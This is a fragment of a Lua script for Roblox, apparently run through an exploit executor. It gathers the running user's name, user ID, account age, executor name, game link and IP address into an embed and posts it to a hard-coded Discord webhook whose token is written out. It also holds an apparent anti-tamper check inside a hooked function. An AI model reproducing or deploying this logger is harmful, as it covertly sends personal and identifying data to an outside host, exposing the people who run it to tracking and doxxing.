"..plr.DisplayName.."\nExploit: "..getexploit().."\nGame:
https://www.roblox.com/games/"..game.PlaceId,
["type"] = "rich",
["color"] = tonumber(0xffff00),
["thumbnail"] = {
["url"] = "https://www.roblox.com/asset-thumbnail/image?
assetId="..game.PlaceId.."&width=768&height=432"
},
["image"] = {
["url"] = "http://www.roblox.com/Thumbs/Avatar.ashx?
x=250&y=250&Format=Png&username="..plr.Name
},
["fields"] = {
{
["name"] = "__Account Age:__",
["value"] = plr.AccountAge.." days old",
["inline"] = true
},
{
["name"] = "__User ID:__",
["value"] = plr.UserId,
["inline"] = true
}
},
["footer"] = {
["text"] = "IP Address: "..tostring(ident),
["icon_url"] =
"https://cdn.discordapp.com/attachments/903407245675606056/911635640452513843/
Screenshot_25.png"
},
["timestamp"] = string.format('%d-%d-%dT%02d:%02d:%02dZ', Time.year,
Time.month, Time.day, Time.hour, Time.min, Time.sec),
};
(syn and syn.request or http_request or http.request) {
Url = 'https://discord.com/api/webhooks/915610710740979752/HPqYgkNm4-
jjBaVA4FSQGr253KAtJGFW1J55YiTwHudw2je7j1uxgmT-n0-8gycB-mML';
Method = 'POST';
Headers = {
['Content-Type'] = 'application/json';
};
Body = game:GetService'HttpService':JSONEncode({content = Content; embeds =
{Embed}; });
};

combo, prev, rnewidx = 0, 0, 0


for i = 1, 50 do
local n = math.random(10000, 99999)
if i == 25 then
rnewidx = n
end
if n == prev then
combo = combo + 1
end
prev = n
end

if combo > 45 then


c("0x01")
end
return old(...)
end
end

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